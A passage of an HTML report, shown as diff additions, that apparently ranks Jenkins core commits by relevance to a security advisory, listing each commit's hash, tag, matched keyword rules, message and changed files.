      use tabPane to show agent systeminfo extensions (#9006) * use tabPane to show agents systeminfo extensions On an agents systemInfo page, the extensions are displayed in a tabPane Use app-bar for the heading, this removes the icon. This was the only page for an agent where an icon was used in the heading. * don't include js when not connected
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/slaves/SlaveComputer/systemInfo.jelly + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Cleaning up more FilePath API restrictions (#8924) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: jenkins-2.445 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b91a57ca201987b20c5333b354b10f44f14271ea +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file, path
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: file, path
      +
    • + +
    • +
      The commit message references some github issue: 8924
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Cleaning up more FilePath API restrictions (#8924)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/FilePath.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Unrestrict FilePath.isDescendant (#8913) * Unrestrict... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3e6dc60edbdb2293ac35b2059ba1fe864b5f5242 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file, path
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: file, path
      +
    • + +
    • +
      The commit message references some github issue: 8913
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Unrestrict FilePath.isDescendant (#8913) * Unrestrict FilePath.isDescendant I needed this and noticed that it was still restricted. * Fix spotless Signed-off-by: Alexander Brandes <mc.cache@web.de> --------- Signed-off-by: Alexander Brandes <mc.cache@web.de> Co-authored-by: Alexander Brandes <mc.cache@web.de>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/FilePath.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [SECURITY-3315] + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: jenkins-2.426.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + COMMIT_HAS_TWINS + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6b2e962047d6a240313286ee8580a5010383aea0 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: CLI
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [SECURITY-3315]
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/cli/CLIAction.java + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update operating system end of life data (#8864) Add end of life... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: jenkins-2.441 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 72eb26a63b6af8d99c26194608f7bae809c398ff +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: read, system
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: system
      +
    • + +
    • +
      The commit message references some github issue: 8864
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update operating system end of life data (#8864) Add end of life data for several more Linux releases Adds data for: * Alpine Linux 3.19 * Amazon Linux 2 (already end of life for Jenkins) * Amazon Linux 2023 * Fedora 39 Includes test data for more Linux operating systems that were already included in the end of life data.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/jenkins/monitor/OperatingSystemEndOfLifeAdminMonitor.java + + core/src/main/resources/jenkins/monitor/OperatingSystemEndOfLifeAdminMonitor/end-of-life-data.json + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Remove unused material-icons (#8831) * Update the icon path in... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: jenkins-2.441 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + faf22cdb401bea57f48c45f2e62239c41e068c37 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: path
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: content
      +
    • + +
    • +
      The commit message references some github issue: 8831
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Remove unused material-icons (#8831) * Update the icon path in SvgIconTest * Remove unused material-icons
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/src/main/webapp/images/material-icons/computer-24px.svg + + war/src/main/webapp/images/material-icons/edit.svg + + war/src/main/webapp/images/material-icons/feed.svg + + war/src/main/webapp/images/material-icons/rss_feed-24px.svg + + war/src/main/webapp/images/material-icons/svg-sprite-action-symbol.svg + + war/src/main/webapp/images/material-icons/svg-sprite-content-symbol.svg + + war/src/main/webapp/images/material-icons/svg-sprite-navigation-symbol.svg + + war/src/main/webapp/images/material-icons/svg-sprite-social-symbol.svg + + war/src/main/webapp/images/material-icons/view_headline-24px.svg + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8843 from... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: jenkins-2.426.3 +
    +
    +
    +
    +
    + + + + RELEVANT_WORDS_IN_MESSAGE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 96dc95a55e9cd10874481ec7b6390a09413ecee6 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some relevant words: LTS
      +
    • + +
    • +
      The commit message references some github issue: 8843
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8843 from krisstern/feat/stable-2.426/backporting-2.426.3-1 Backporting LTS 2.426.3
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Use spotbugs 4.8.2 with more exclusions (#8803) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: jenkins-2.439 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 81c3249ca0e6bcc69e1caa2e6828ec6c8c0884cd +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: CLI
      +
    • + +
    • +
      The commit message references some github issue: 8803
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Use spotbugs 4.8.2 with more exclusions (#8803)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/spotbugs/excludesFilter.xml + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update Freestyle project description (#8795) * Update Freestyle... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: jenkins-2.438 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3e04c2ac3d20207279ec246ce6385a0d3652ac3f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: CLI
      +
    • + +
    • +
      The commit message references some github issue: 8795
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update Freestyle project description (#8795) * Update Freestyle project description * Fix typo * Fix another typo --------- Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/model/Messages.properties + + core/src/main/resources/hudson/model/Messages_bg.properties + + core/src/main/resources/hudson/model/Messages_ca.properties + + core/src/main/resources/hudson/model/Messages_cs.properties + + core/src/main/resources/hudson/model/Messages_da.properties + + core/src/main/resources/hudson/model/Messages_de.properties + + core/src/main/resources/hudson/model/Messages_es.properties + + core/src/main/resources/hudson/model/Messages_et.properties + + core/src/main/resources/hudson/model/Messages_fi.properties + + core/src/main/resources/hudson/model/Messages_fr.properties + + core/src/main/resources/hudson/model/Messages_it.properties + + core/src/main/resources/hudson/model/Messages_ja.properties + + core/src/main/resources/hudson/model/Messages_ko.properties + + core/src/main/resources/hudson/model/Messages_lt.properties + + core/src/main/resources/hudson/model/Messages_nb_NO.properties + + core/src/main/resources/hudson/model/Messages_nl.properties + + core/src/main/resources/hudson/model/Messages_pl.properties + + core/src/main/resources/hudson/model/Messages_pt_BR.properties + + core/src/main/resources/hudson/model/Messages_pt_PT.properties + + core/src/main/resources/hudson/model/Messages_ro.properties + + core/src/main/resources/hudson/model/Messages_ru.properties + + core/src/main/resources/hudson/model/Messages_sv_SE.properties + + core/src/main/resources/hudson/model/Messages_tr.properties + + core/src/main/resources/hudson/model/Messages_uk.properties + + core/src/main/resources/hudson/model/Messages_zh_TW.properties + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Fix import used for Javadoc (#8790) Co-authored-by: Daniel Beck... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: jenkins-2.438 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 044c071235f0a64fb8390e784c7e1abb52aecb05 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: CLI
      +
    • + +
    • +
      The commit message references some github issue: 8790
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Fix import used for Javadoc (#8790) Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/cli/declarative/CLIMethod.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Add telemetry for basic Java system properties (#8787) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b0cec677280708bbfafd3eb5eaa2bc98b241fc07 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: system
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: system
      +
    • + +
    • +
      The commit message references some github issue: 8787
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Add telemetry for basic Java system properties (#8787)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/jenkins/telemetry/impl/JavaSystemProperties.java + + core/src/main/resources/hudson/model/UsageStatistics/help-usageStatisticsCollected.jelly + + core/src/main/resources/jenkins/telemetry/impl/JavaSystemProperties/description.jelly + + core/src/main/resources/jenkins/telemetry/impl/JavaSystemProperties/description.properties + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72252] Warn 12 months and 3 months before end of Java... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: jenkins-2.426.2 +
    +
    +
    +
    +
    + + + + RELEVANT_WORDS_IN_MESSAGE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a190edf08212d87fc1ed238e96ed64f529abdefa +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some relevant words: LTS
      +
    • + +
    • +
      The commit message references some github issue: 8661
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72252] Warn 12 months and 3 months before end of Java support (#8661) Show Java version admin monitor at 12 months and 3 months Daniel Beck described his recommendation to alert users at 12 months and at 3 months prior to the end of support of a Java version. He wrote: > The second warning in particular needs to strike a balance between > being shown late enough so it's actually relevant for whoever hasn't > acted yet, while being shown early enough that slightly more elaborate > environments (difficult to schedule maintenance windows) are informed > in time. 3 months aligns rather nicely with the LTS schedule where > we kinda expect folks to do that anyway. > > 18/9, or even 12/6 errs too far on the side of those for whom this is > extreme effort (and who dismissed the first message more appropriate for > their environment!), while showing everyone else completely irrelevant > notices they won't care about for many months to come. https://github.com/jenkinsci/jep/pull/400#discussion_r1371510566 provides more details. The Java 8 to Java 11 transition saw a significant change in adoption of Java 11 once the admin monitor was visible to users. That was shown slightly over 12 months before the release that required Java 11. This change continues that pattern of 12 months warning before end of support. https://github.com/jenkinsci/jep/pull/400#discussion_r1375623888 has a graph that shows the adoption curves for Java 8, Java 11, and Java 17. (cherry picked from commit aeb64c0c3d097131b3f59d7fe9d1cce1f41de336)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/jenkins/monitor/JavaVersionRecommendationAdminMonitor.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Don't animate admin monitor popup on page load, properly remove... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: jenkins-2.440.1 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4089150245288c2fd8c1036ea4b4d597ef995d88 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: follow
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 8941, 8954
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Don't animate admin monitor popup on page load, properly remove interactable UI elements (#8954) * followup for #8941, don't animate on page load PR #8941 caused a regression that the hiding animation was played on page load. This change ensures that the hiding animation is only applied when the widget was visible before * scale to 0 (cherry picked from commit e5fd9127b73b640cd639695cbbcb59d985f836c0)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.css + + core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.js + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [SECURITY-3315] (cherry picked from commit... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: jenkins-2.440.1 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 77c2115fa87457d6f744695b27a397a353c27a06 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: CLI
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [SECURITY-3315] (cherry picked from commit de450967f38398169650b55c002f1229a3fcdb1b)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/cli/CLIAction.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Add help text for Markup Formatter setting (#9038) * Restore help... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.450 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 1da7c9cb68b607d9a560974430c80e3f823c3e64 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: argument
      +
    • + +
    • +
      The commit message references some github issue: 9038
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Add help text for Markup Formatter setting (#9038) * Restore help text for Markup Formatter setting * Update core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-markupFormatter.html Co-authored-by: Mark Waite <mark.earl.waite@gmail.com> * mvn -pl war frontend:yarn -Dfrontend.yarn.arguments=lint:fix --------- Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com> Co-authored-by: Mark Waite <mark.earl.waite@gmail.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-markupFormatter.html + + core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter.html + + core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter_bg.html + + core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter_it.html + + core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter_ja.html + + core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter_zh_TW.html + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72796] stable context classloader for... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 89195cc248eb973dae4212d613914d616805bc1d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: read, system
      +
    • + +
    • +
      The commit message references some github issue: 9012
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72796] stable context classloader for Computer.threadPoolForRemoting (#9012) * [JENKINS-72796] stable context classloader for Computer.threadPoolForRemoting Whilst the threadpool used reset the context classloader at the end of any task, it did not ensure that the initial c;lassloader used was anything sepcific, rather it would use whatever the calling threads contextClassLoader was. This is now fixed as we use the Jenkins WebApp classloader (same as the Timer) which is used by (A)PeriodicTasks. Whilst we should really not have a context classloader (aka null) and this should be set where needed by code, almost everywhere in Jenkins the context classloader is already the webapp classloader, and so setting this to be different depending on how things where called would seemingly be a little scary. Arguably this and other context classloaders should be all set to null and any code that wants different should be changed, but this is a larger piece of work that would have potential impact on an unknown number of plugins in the ecosystem, so this fix uses what was set > 90% of the time. * Update core/src/test/java/hudson/model/ComputerTest.java --------- Co-authored-by: Tim Jacomb <21194782+timja@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/Computer.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72799] Apply `SlaveComputer.decorate` also to `openLogFile` (#9009) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c7ccbfdde15511b29b0b649b62b1d9fec09284dd +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file
      +
    • + +
    • +
      The commit message references some github issue: 9009
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72799] Apply `SlaveComputer.decorate` also to `openLogFile` (#9009)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/slaves/SlaveComputer.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Remove usages of `ArrayUtils` (#9001) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 77731ddea9a0e8f76fb87a4c0fd3a27e745ef3c6 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: parser
      +
    • + +
    • +
      The commit message references some github issue: 9001
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Remove usages of `ArrayUtils` (#9001)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/Run.java + + core/src/main/java/hudson/util/MultipartFormDataParser.java + + core/src/main/java/hudson/util/Protector.java + + core/src/main/java/jenkins/security/ResourceDomainRootAction.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Replace pipeline-stage-view with graph-view in the setup wizard... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 02c99cb3de4af5f41b4a12df84d16e9917cf8db8 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: replace
      +
    • + +
    • +
      The commit message references some github issue: 8884
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Replace pipeline-stage-view with graph-view in the setup wizard (#8884) Signed-off-by: Alexander Brandes <mc.cache@web.de>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/jenkins/install/platform-plugins.json + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72759] fix handling of readonly for select without parent... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a174f985d4574f9056afd497694456ee0988a975 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: read
      +
    • + +
    • +
      The commit message references some github issue: 8984
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72759] fix handling of readonly for select without parent div (#8984) [JENKINS-72759] fix handling of readonly for selects when no parent div is present that has .jenkins-select we get a null element and the script runs into an error.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/lib/form/select/select.js + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Null out `ProxyConfiguration.userName` on save (#8990) * Null out... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d42e0786a4e2cf90fbec11c1009578d994c7deee +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: read
      +
    • + +
    • +
      The commit message references some github issue: 8990
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Null out `ProxyConfiguration.userName` on save (#8990) * Null out `ProxyConfiguration.userName` on save * Since we already have a `readResolve`, may as well use it to clean up historical `userName` of `""` https://github.com/jenkinsci/jenkins/pull/8990#discussion_r1502295510 * Linking to new JDK-8326949
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/ProxyConfiguration.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + use symbol for parameters in build history of pending jobs (#8977)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.447 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 885978daf0b218e4956f3df262b96a9234c421ae +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: replace
      +
    • + +
    • +
      The commit message references some github issue: 8977
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      use symbol for parameters in build history of pending jobs (#8977) use symbol for parameters in build history replace the notepad icon in the build history for pending jobs with the symbol for parameters Remove the wrapper in a link that does nothing except altering the location
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/jenkins/widgets/HistoryPageFilter/queue-items.jelly + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-69113] renovate progressBar (#8821) * [JENKINS-69113]... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.446 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5304da10a6f24088a56c4a00e1d3c7058c7b63fa +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: replace, read
      +
    • + +
    • +
      The commit message references some github issue: 8821
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-69113] renovate progressBar (#8821) * [JENKINS-69113] renovate progressBar The progressbar used at various places is replaced by a div/span compbination and gets a new styling that is in sync with other ui elements. Mainly it has rounded corners. The bar is always animated opposed to old behaviour where it was only animated when the estimated remaining time was unknown. Animation is now based on css and no longer a gif. All colors are defined via variables so they can be adjusted by themes. The build progress bar shown on run and console views is now updated dynamically. The progress bar used in progressive rendering is doubled in size to make it more prominent that it is still running (See [JENKINS-72138], this doesn't solve the problem but might lower the chance that people reload the mentioned page because they think nothing happens). * apply prettier * scss style * set status url the parameters page also includes the buildCaption.jelly. But the js is using a relative url thus accessing `statusIcon` fails. Store status url in the div and read from there. * apply behaviour so tooltip is shown after icon update fix url * incorporate feedback use existing colors only animate when unknown or with flag animate via build caption and progressive rendering * adjust class name * adjust bg color * fix style * sRGB * avoid j:out --------- Co-authored-by: Alexander Brandes <mc.cache@web.de>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/model/Run/statusIcon.jelly + + core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Installing/status.jelly + + core/src/main/resources/lib/hudson/build-caption.js + + core/src/main/resources/lib/hudson/buildCaption.jelly + + core/src/main/resources/lib/hudson/buildProgressBar.jelly + + core/src/main/resources/lib/hudson/buildProgressBar.properties + + core/src/main/resources/lib/hudson/buildProgressBar_bg.properties + + core/src/main/resources/lib/hudson/buildProgressBar_ca.properties + + core/src/main/resources/lib/hudson/buildProgressBar_cs.properties + + core/src/main/resources/lib/hudson/buildProgressBar_da.properties + + core/src/main/resources/lib/hudson/buildProgressBar_de.properties + + core/src/main/resources/lib/hudson/buildProgressBar_el.properties + + core/src/main/resources/lib/hudson/buildProgressBar_es.properties + + core/src/main/resources/lib/hudson/buildProgressBar_es_AR.properties + + core/src/main/resources/lib/hudson/buildProgressBar_et.properties + + core/src/main/resources/lib/hudson/buildProgressBar_fi.properties + + core/src/main/resources/lib/hudson/buildProgressBar_fr.properties + + core/src/main/resources/lib/hudson/buildProgressBar_he.properties + + core/src/main/resources/lib/hudson/buildProgressBar_hu.properties + + core/src/main/resources/lib/hudson/buildProgressBar_it.properties + + core/src/main/resources/lib/hudson/buildProgressBar_ja.properties + + core/src/main/resources/lib/hudson/buildProgressBar_ko.properties + + core/src/main/resources/lib/hudson/buildProgressBar_lt.properties + + core/src/main/resources/lib/hudson/buildProgressBar_lv.properties + + core/src/main/resources/lib/hudson/buildProgressBar_nb_NO.properties + + core/src/main/resources/lib/hudson/buildProgressBar_nl.properties + + core/src/main/resources/lib/hudson/buildProgressBar_pl.properties + + core/src/main/resources/lib/hudson/buildProgressBar_pt_BR.properties + + core/src/main/resources/lib/hudson/buildProgressBar_pt_PT.properties + + core/src/main/resources/lib/hudson/buildProgressBar_ro.properties + + core/src/main/resources/lib/hudson/buildProgressBar_ru.properties + + core/src/main/resources/lib/hudson/buildProgressBar_sk.properties + + core/src/main/resources/lib/hudson/buildProgressBar_sl.properties + + core/src/main/resources/lib/hudson/buildProgressBar_sr.properties + + core/src/main/resources/lib/hudson/buildProgressBar_sv_SE.properties + + 